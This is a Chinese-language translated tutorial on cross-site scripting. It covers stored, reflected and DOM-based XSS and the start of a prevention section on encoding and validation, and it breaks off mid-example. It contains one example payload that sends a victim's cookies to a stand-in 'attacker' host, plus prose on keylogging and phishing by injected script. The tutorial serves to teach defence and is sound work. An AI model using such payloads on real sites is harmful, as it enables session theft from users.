详解XSS(译)

一、XSS 概述

什么是XSS?

Cross-site scripting(XSS)是一种能够在他人浏览器中执行恶意 JavaScript代码的代码注入攻击。

攻击者不需要直接接触受害者。他可以直接利用受害者访问的网站的漏洞来让恶意代码在其浏览器中执行。对于受害者的浏览器来说,恶意的 JavaScript 代码表现的就像是网站合法的一部分,而网站的行为也完全不像是攻击者的帮凶。

恶意的 JavaScript 代码是如何被注入的?

让攻击者能在受害者浏览器上运行恶意代码的唯一方式就是在受害者要访问的网站中的某一个页面里注入代码。这会发生在网站直接在它的页面中包含加载了用户输入,这样攻击者就可以在页面中插入字符串,这段字符串会被受害者的浏览器当做代码执行。

在下面的例子中,一个简单的服务器脚本被用来展示网站上最新的评论:

1
2
3
4
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

这段脚本假设评论仅包含文本。然而,用户输入被直接加载了,攻击者可以提交这样的评论:<script>...<script>。任何用户访问页面都会接收到下列回应:

1
2
3
4
<html>
Latest comment:
<script>...</script>
</html>

当用户浏览器加载了页面后,它将执行包含在<script> 标签中的任意 JavaScript 脚本。攻击者已经成功地实施了攻击。

什么是恶意 JavaScript 脚本?

起初,能在受害者的浏览器中执行 JavaScript 脚本看起来并不是那么恶意。毕竟 JavaScript 运行在一个及其受限的环境,很难访问用户文件和操作系统。事实上,你可以打开你的浏览器的控制台(console)并执行任何 JavaScript 代码,你会发现你很难对你的计算机造成什么实质的损害。

然而,JavaScript 代码也是有可能变得很有恶意的,尤其是当你考虑下列情况时:

  • JavaScript 代码访问了一些用户敏感信息,例如:cookies。
  • JavaScript 代码可以使用 XMLHttpRequest和其他机制来发送包含任何内容的 HTTP 请求到任意目的地。
  • JavaScript 代码可以通过使用 DOM 操作来对当前页面的 HTML 文件做任意修改。

这些情况组合在一起会导致非常严重的安全问题,也是我接下来会解释的。

恶意 JavaScript 脚本带来的后果

在其他用户的浏览器上执行任意 JavaScript 代码允许攻击者实施下列攻击:

  • Cookie 剽窃:攻击者可以使用document.cookie 来访问受害者与网站相关的 cookies,将它们发送到自己的服务器,并用它们来获取像 session IDs 之类的敏感信息。
  • 键盘记录:攻击者可以使用addEventListener 来登记一个键盘事件监听器,然后发送所有的用户按键记录到他自己的服务器,可能会记录像密码和银行卡号这样的敏感信息。
  • 网络钓鱼:攻击者可以使用 DOM 操作在页面中插入假的登录表单,设置表单的 action 到自己的服务器,之后欺骗用户提交敏感信息。

尽管这些攻击有明显的不同,但它们都有一个关键的相似点:因为攻击者将代码注入了网站服务器的页面中,这些恶意代码将会在网站的上下文中运行。这意味着这些恶意代码会被网站当成普通代码对待:它可以访问受害者在该网站上的数据(例如:Cookies)和在URL中显示的主机名。无论出于什么目的和企图,恶意代码都会被当做网站上合法的一部分对待,可以做这个网站能做的任何事情。

这个事实强调了一个关键问题:

如果一个攻击者可以利用你的网站在其他人的浏览器上执行任意 JavaScript 代码,你的网站和用户的安全都是存在问题的。

为了强调这一点,教程中的一些示例将会适用<script>...</script>省去恶意代码的细节。这表明能被注入代码的地方才是问题所在,而不是被执行的恶意代码。

二、XSS 攻击

XSS攻击中的角色

在我们描述 XSS 攻击的细节前,我们需要定义 XSS 攻击中涉及到的角色。事实上,一次 XSS 攻击涉及3个角色:网站受害者攻击者

  • 网站提供 HTML 页面给请求它的用户。在我们的例子中,它位于 http://website/。
    • 网站的数据库保存一些会被加载到网站页面的用户输入。
  • 受害者是该网站的一名普通用户,用浏览器访问页面。
  • 攻击者是该网站的一名恶意用户,尝试利用网站上的 XSS 漏洞来攻击受害者
    • 攻击者的服务器是由他本人控制的网络服务器,唯一的目的是保存受害者的敏感信息。在我们的例子中,它位于 http://attacker/。

一个攻击场景示例

在这个例子中,我们假设攻击者的最终目标是通过利用网站的 XSS 漏洞来偷窃受害者的 cookies。这可以通过在受害者的浏览器中执行下列代码实现:

1
2
3
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

这段代码将用户浏览器导航到一个不同的 URL,触发一个到攻击者服务器的 HTTP 请求。这段 URL 将受害者的 cookies 作为参数包含其中,这样攻击者就能在请求到达时获取到 cookies。一旦攻击者得到了 cookies,他就可以利用它来伪装成受害者,开展后续攻击。

从现在开始,上面这段代码将被称为恶意字符串恶意脚本

示例攻击的工作流程

下面的图展示了攻击者是如何开展示例攻击的:

  1. 攻击者利用网站表单将恶意字符串插入网站数据库。
  2. 受害者从网站请求页面。
  3. 网站将恶意字符串从数据库中取出并包含在响应中发给受害者。
  4. 受害者浏览器执行包含在响应中的恶意脚本,发送受害者的 cookies 到攻击者的服务器。

XSS 的类型

尽管 XSS 攻击的目标总是在受害者的浏览器中执行一些恶意代码,完成这个目标的方式还是会有些许区别。XSS 攻击通常被分为下面三类:

  • 持久化 XSS:恶意代码通常来自网站数据库。
  • 反射式 XSS:恶意代码通常来自用户请求。
  • 基于 DOM 的XSS:漏洞通常在客户端而非服务端。

上一个例子里展示了持久化 XSS 攻击。现在我们将描述另外两种类型的 XSS 攻击:反射式 XSS 和 基于 DOM 的 XSS。

反射式 XSS

在反射式 XSS 攻击中,恶意字符串是受害者向网页发出的 request 的一部分。网站之后会将包含恶意字符串的响应返回给用户。下图展示了该过程:

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被欺骗,向网站发送 URL。

3.网站从 URL 中加载恶意代码作为响应。

4.受害者浏览器执行响应中的恶意代码,发送受害者的 cookies 到攻击者的服务器。

反射式 XSS 是如何成功的?

首先反射式 XSS 看起来危害更小,因为它要求受害者自己来发送包含恶意字符串的请求。因为没有人愿意攻击他自己,这看起来没办法实施这种攻击。

然而事实证明,至少有两种方式会导致受害者自己启动反射式 XSS 来攻击他自己。

  • 如果攻击者的目标是一个特定个体,攻击者可以发送恶意 URL 给受害者(例如使用电子邮箱、及时通讯方式等)并欺骗它们访问。
  • 如果攻击者的目标是很多人,攻击者可以发布一个包含恶意 URL 的链接(例如在他自己的网站或社交网络上)并等待访问者点击。

这两种方法是相似的,并且在使用短链的情况下更可能成功,短链能遮挡住恶意字符串,防止被用户识别出来。

基于 DOM 的 XSS

基于 DOM 的 XSS 是持久化和映射 XSS 的一个变种。在基于 DOM 的 XSS 攻击中,恶意字符串并没有被受害者的浏览器解析,直到网站的合法 JavaScript 代码被执行。下图展示了基于 DOM 的 XSS 攻击场景:

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被攻击者欺骗,向网站发送 URL。

3.网站收到了请求,但并没有将恶意字符串包含在响应中。

4.受害者的浏览器执行了响应中的合法代码,造成恶意脚本被插入页面。

5.受害者的浏览器执行了页面中的恶意脚本,发送了受害者的 cookies 到攻击者的服务器。

###基于 DOM 的 XSS 攻击不同的地方

在之前的关于持久化和映射的 XSS 攻击的例子中,服务器在页面中插入了恶意脚本,这将会作为发送给受害者的响应。当受害者的浏览器接收到响应后,它会把恶意脚本作为页面合法内容的一部分并自动在页面加载其它脚本的时候执行它。

然而在基于 DOM 的 XSS 攻击示例中,没有恶意代码被插入到页面中;唯一被自动执行的脚本是页面本身的合法脚本。问题在于合法脚本会直接利用用户输入在页面中添加 HTML 代码。因为恶意字符串是通过innerHTML 插入页面的,它将会被解析成 HTML,造成恶意脚本被执行。

不同之处很微妙但也很重要:

  • 在传统的 XSS 中,恶意脚本作为页面的一部分🈶服务器发送并在页面被加载时执行。
  • 在基于 DOM 的 XSS 攻击中,恶意脚本是在页面已经被加载一段时间后执行,由页面的合法代码用不安全的方式对待用户输入导致。

为什么基于 DOM 的 XSS 攻击很重要

在之前的例子中,JavaScript 并不是必要的;服务器会自己生成所有的 HTML。如果服务端的代码是没有漏洞的,网站就不会受到 XSS 攻击。

然而,随着 Web 应用变得更加高级,HTML 代码通过客户端的 JavaScript 代码生成而不是通过服务端。任何时候内容都需要在不刷新整个页面的情况下改变,这种更新必须通过 JavaScript 执行。更为具体的,这种情况下,页面是通过一个 AJAX 请求后更新的。

这意味着 XSS 漏洞不仅会出现在你的网站的服务端代码,也会出现在客户端的 JavaScript 代码。因此,即使你的服务端代码是完全安全的,客户端代码也可能会因为在页面被加载后执行了包含用户输入的 DOM 更新而变得不安全。如果这种情况发生了,客户端代码就会在服务端没有问题的情况下触发 XSS 漏洞。

##基于 DOM 的 XSS 对于服务端是不可见的

在基于 DOM 的 XSS 攻击中有一个非常特殊的地方,那就是恶意字符串从开始就没有被发送给服务端。浏览器没有发送恶意代码,所以服务器也就没有办法利用服务端代码进行检查。然而,客户端代码会用不安全的方式来处理它,从而导致 XSS 漏洞。

三、预防 XSS 攻击

预防 XSS 的方法

XSS 攻击实质上是一种代码注入:用户输入被错误的解释成了恶意程序代码。为了防止这种类型的代码注入,安全输入的处理是有必要的。对于 Web 开发者来说,有两种基本的方式来进行安全输入检查:

  • 编码:这将转义用户输入,使得浏览器仅仅解释数据而非代码。
  • 验证:过滤用户输入,使得浏览器解释代码而非恶意命令。

这是很基础的预防 XSS 的方法,它们有几点共同的特征,理解这些是非常重要的:

  • Context:安全输入检查需要被区别对待,这取决于用户输入在页面的何处被插入。
  • Inbound/outbound: 安全输入检查既可以在你的网站接受输入(inbound)时执行,也可以在你的网站将输入插入到页面之前执行(outbound)。
  • Client/server:安全输入检查可以在客户端执行也可以在服务端,在某些情况下甚至都要执行。

在解释如何编码和验证的工作细节之前,我将先描述一下这些关键点。

输入检查上下文

在网页中,用户输入可能会插入的地方会有许多上下文。对于每一种上下文,都必须遵循特定的规则使得用户输入不会打破自己的上下文和被解释成恶意代码。

为什么上下文很重要?

在上面提到的上下文中,用户输入如果没有经过编码或验证就直接插入将会使得出现 XSS 漏洞的概率大幅提高。攻击者可以通过简单地插入分隔符并在后面加入恶意代码来进行注入攻击。

例如,网站如果直接将用户输入作为 HTML 属性插入,攻击者便能够通过在输入起始处输入引号来注入恶意代码,如下所示:

这是可以通过简单地删除所有用户输入中的引号避免的,仅仅在这种上下文中。如果同样的输入被注入到另一处上下文,结尾分隔符可能会改变,注入就很难成功了。因此,安全输入检查往往需要根据用户输入在哪被注入来进行定制。

Inbound/outbound 输入检查

直观上看,好像所有的 XSS 问题都可以通过在网站接收到用户输入时对其进行编码或验证来防范。通过这种方式,任何恶意字符串都应该在被包含进页面时被过滤了。

就像上文提到的,问题在于,用户输入可以被插入页面的几处上下文中。没有很轻松的方法来判断什么时候用户输入会出现在它最终被注入的上下文中,而同样的用户输入通常需要被插入到不同的上下文中。依赖入站输入检查来预防 XSS 是非常脆弱的方法,并会导致一系列问题。(已经被废弃的 PHP 特性“magic quotes” 就是一个典型的例子。)

然而出站输入处理应该成为你对抗 XSS 的基本方法,因为它会考虑到用户输入将被插入处的具体上下文。而入站验证仍然可以成为第二道防线,我们会在之后讨论。

在哪执行安全输入检查

在大多数现代的网站应用中,用户输入会同时被服务端和客户端处理。为了预防所有类型的 XSS 攻击,安全输入检查必须同时在客户端和服务端进行。

  • 为了预防传统的 XSS 攻击,安全输入检查必须考虑服务端的代码。这可以通过服务器上使用的任何语言来支持。
  • 为了预防基于 DOM 的 XSS 攻击,安全输入检查必须考虑客户端代码。这可以通过 JavaScript 代码来支持。

编码

编码是一种转义用户输入的操作,使得浏览器仅仅解释数据而非代码。在 web 开发中最常使用的编码方式是 HTML 转义,这将把字符 ’<‘ 和 ‘>’分别转义成 ‘&lt\;’ 和 ‘&gt\;’ 。

下面的伪代码展示了用户输入时如何通过 HTML 转义编码并通过服务端脚本插入页面的:

1
2
3
4
print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

如果用户输入时字符串

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×